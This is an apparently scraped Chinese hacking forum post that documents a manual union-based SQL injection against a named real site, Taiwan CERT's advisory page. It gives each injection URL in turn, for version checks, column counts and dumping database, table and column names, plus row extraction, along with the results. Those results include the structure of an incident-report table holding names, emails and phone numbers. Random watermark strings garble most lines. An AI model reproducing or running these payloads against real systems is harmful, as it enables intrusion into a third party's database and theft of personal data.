1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询% r" Q- Q, f/ k4 Q, j
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解+ t3 Z4 ?. Q$ o. a7 L- ~9 g5 o) ~9 x
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
: M7 O% Z9 u+ w7 B1 q3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
6 j% U1 E3 u; U7 }1 M数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。" j9 c9 }! a K' _+ U
4.判断有没有写权限" E6 q$ g, u) P
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限' g* g9 ?$ }' y" [6 M7 p
没办法,手动猜表啦1 Z7 J/ F( n( B0 o
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
; T, @5 n$ s& H2 Y, r( [但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下# I& g. U N8 s+ ?* @ ]4 |' T. U9 F
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
1 o1 S( ^5 M! T0 C' w g成功查出所有数据库,国外的黑客就是不一般。数据库如下:$ C: _; P: {: q
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb- D! C9 i, e! L, J" z' I- b8 E& e% x
6.爆表,爆的是twcert库 y0 P: W7 R. V8 @/ k# G
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--. T. K9 V" p, G4 s* ~) [
爆出如下表) X0 x6 k; r) Z
downloadfile,irsys,newsdata,secrpt,secrpt_big5
. o C: E) U; v, Q# @- [7.爆列名,这次爆的是irsys表# ?5 W; m3 b; ?2 u" B3 q
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--: p8 S+ \! n) i) I4 k& D, h
爆出如下列
. Q2 ^$ A! a- y; c$ j$ Dir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
6 T/ I/ _$ Q/ U8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。( Z6 @4 Z9 r( U" @* Q8 b# Y
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
$ W8 {' a. x1 U* Y返回是3,说明每个列里有3个地段5 {5 v% h$ k" B' q# b0 C$ a
9.爆字段内容
% n. ^) ]# z0 E4 _ m# c8 ?http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--1 Z, x& h5 w- {
爆出name列的第一个字段的内容
5 g! x! `5 z9 O! chttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--8 m) `; X! y* ~; F7 p# }, ~
爆出name列的第二个字段的内容 |